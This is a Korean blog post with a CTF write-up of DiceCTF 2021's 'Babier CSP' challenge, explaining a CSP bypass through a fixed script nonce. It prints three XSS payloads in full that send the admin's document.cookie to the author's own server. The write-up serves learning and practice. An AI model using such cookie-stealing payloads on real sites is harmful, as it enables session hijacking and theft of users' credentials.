티스토리 뷰

hacking/ctf

Dicectf 2021 -Babier CSP

kiwiiiv 2021. 2. 8. 21:13

ctf.dicega.ng/

 

DiceCTF 2021

DiceCTF is a jeopardy-style CTF with challenges for all skill levels.

ctf.dicega.ng

..한문제

 

 

 

먼저 소스를 보면

 

get name 변수를 통하여 <h1> 태그로 출력되는 값이 변화하는 것을 볼 수 있음

 

문제에서 admin cookie에 secret 값이 저장되어 있다고 하였으므로!!!

xss를 통하여 쿠키 값을 가져오는 것을 예상함(+ 내가 입력한 링크를 admin bot이 체크하는 페이지가 따로 있었음)

일단 설정된 CSP를 보면

 

 

script를 제외한 태그는 금지되어 있고

(default-src none)

script-src에서 알 수 있듯이 nonce값을 통하여 스크립트를 삽입 가능함

일단 위에서 nonce값을 생성한 과정을 보면

 

 

base64로 암호화한 값임을 알 수 있음

 

따라서 일단 name 변수에 스크립트를 삽입한 후 콘솔에 출력된 메시지를 보면

 

위와 같이 nonce값을 볼 수 있는데

(처음에는 randomByte()~ 로 nonce 값이 생성되기에 매번마다 변할 줄 알았던 nonce값이 계속 같은 값을 가지고 있었음.. 왜인지는모르겠음)

여튼 출력된 nonce를 이용하여 script를 삽입하는 방법을 사용함

 

일단 내 서버에 다음과 같은 파일을 만들어 줌

 

stored.php

 

admin의 쿠키(문제 서버의) 를 탈취하는 것이므로 다음과 같은 방식들을 시도함

 

 

document.loaction.href

 

https://babier-csp.dicec.tf/?name=
<script nonce="LRGWAXOY98Es0zz0QOVmag==">
	document.location.href="http://000.000.000.000/~id/study/stored.php?
    	cookie="+document.cookie;</script>

(편의를 위하여 줄바꿈 함..)

x

 

 

window.open

https://babier-csp.dicec.tf/?name=
<script nonce="LRGWAXOY98Es0zz0QOVmag==">
	window.open("http://000.000.000.000/~id/study/stored.php?cookie="+document.cookie);
	</script>

x

 

 

window.location

https://babier-csp.dicec.tf/?name=
<script nonce="LRGWAXOY98Es0zz0QOVmag==">
	window.location="http://000.000.000.000/~id/study/stored.php
    ?cookie=".concat(document.cookie)</script>

위의 링크를 입력하여

 

 

 

 

위와 같은 쿠키 값을 얻어 올 수 있음

 

 

 

 

 

++

CSP Bypass Tips | Defenit 블로그

 

CSP Bypass Tips

이번에 개인적으로 CSP(Content Security Policy)를 우회해야 할 일이 있었어서 관련 자료를 조사하여 해당 내용 공유드릴까 합니다. CSP는 Server Side에서 Client Side의 보안을 설정하여 줄 수 있는 기능입니

defenit.kr

이 블로그에 따르면,, cache positiong 을 이용하여 .. nonce값이 고정된 것 같당..

 

+++

CSP(Content-Security-Policy)와 CSP bypass (tistory.com)

nonce값을 담고 있는 http 헤더 or meta 태그가 캐시되는 경우.

캐시가 만료될 때까지 요청 때마다 같은 nonce값이 들어오기 때문에 이 nonce값을 이용할 수 있음!!

(서버 측 xss는 일어나지 않지만 클라이언트 측에서 xss가 가능)

공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
글 보관함